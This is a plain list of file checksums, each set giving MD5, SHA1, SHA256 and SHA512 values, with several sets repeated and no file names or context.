SHA13e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA2569884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA5129908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3
-
MD5
8f995688085bced38ba7795f60a5e1d3
SHA15b1ad67a149c05c50d6e388527af5c8a0af4343a
SHA256203d7b61eac96de865ab3b586160e72c78d93ab5532b13d50ef27174126fd006
SHA512043d41947ab69fc9297dcb5ad238acc2c35250d1172869945ed1a56894c10f93855f0210cbca41ceee9efb55fd56a35a4ec03c77e252409edc64bfb5fb821c35
-
MD5
770c9b35d364634e86540cf837a72047
SHA1279635b8e5a54b224fef7c5080c5f650d819faf0
SHA256046b813c06f69915dc6530d9a4bb3565c659e1f9f16b5a03c5eabf11156f3fc4
SHA51294c6b3f1e70a28f2671bc88c782884158b12dcdfaa14fa0e9f9dc68ac49aa32da61997f23cbea2e3920632def28d517208476fa18c14be8c17778d3aea6d86e6
-
MD5
018efde059015d022782d44b22a6cd0e
SHA16447b95bedecbec5a44395886844b87d44c46007
SHA2562b41a0cc2bf5bf0ca930d708b00cba982e1415f346e0012ddddd3387038ea85f
SHA512485f9acfa0361617fe241babddbf565e20e8ede3fe2fcb128c0e2e8b1485b667b1525e7f9842ac2eafae0efe104aab7de02f72f76e38f73ef9f454de4caf0c5a
-
MD5
018efde059015d022782d44b22a6cd0e
SHA16447b95bedecbec5a44395886844b87d44c46007
SHA2562b41a0cc2bf5bf0ca930d708b00cba982e1415f346e0012ddddd3387038ea85f
SHA512485f9acfa0361617fe241babddbf565e20e8ede3fe2fcb128c0e2e8b1485b667b1525e7f9842ac2eafae0efe104aab7de02f72f76e38f73ef9f454de4caf0c5a
-
MD5
018efde059015d022782d44b22a6cd0e
SHA16447b95bedecbec5a44395886844b87d44c46007
SHA2562b41a0cc2bf5bf0ca930d708b00cba982e1415f346e0012ddddd3387038ea85f
SHA512485f9acfa0361617fe241babddbf565e20e8ede3fe2fcb128c0e2e8b1485b667b1525e7f9842ac2eafae0efe104aab7de02f72f76e38f73ef9f454de4caf0c5a
-
MD5
018efde059015d022782d44b22a6cd0e
SHA16447b95bedecbec5a44395886844b87d44c46007
SHA2562b41a0cc2bf5bf0ca930d708b00cba982e1415f346e0012ddddd3387038ea85f
SHA512485f9acfa0361617fe241babddbf565e20e8ede3fe2fcb128c0e2e8b1485b667b1525e7f9842ac2eafae0efe104aab7de02f72f76e38f73ef9f454de4caf0c5a
-
MD5
92dc6ef532fbb4a5c3201469a5b5eb63
SHA13e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA2569884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA5129908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3
-
MD5
92dc6ef532fbb4a5c3201469a5b5eb63
SHA13e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA2569884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA5129908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3
-
MD5
d82a429efd885ca0f324dd92afb6b7b8
SHA186bbdaa15e6fc5c7779ac69c84e53c43c9eb20ea
SHA256b258c4d7d2113dee2168ed7e35568c8e03341e24e3eafc7a22a0d62e32122ef3
SHA5125bf0c3b8fa5db63205a263c4fa5337188173248bef609ba4d03508c50db1fd1e336f3041ce96d78cc97659357a83e6e422f5b079d893a20a683270e05f5438df
-
MD5
ffcf263a020aa7794015af0edee5df0b
SHA1bce1eb5f0efb2c83f416b1782ea07c776666fdab
SHA2561d07cfb7104b85fc0dffd761f6848ad176117e146bbb4079fe993efa06b94c64
SHA51249f2b062adfb99c0c7f1012c56f0b52a8850d9f030cc32073b90025b372e4eb373f06a351e9b33264967427b8174c060c8a6110979f0eaf0872f7da6d5e4308a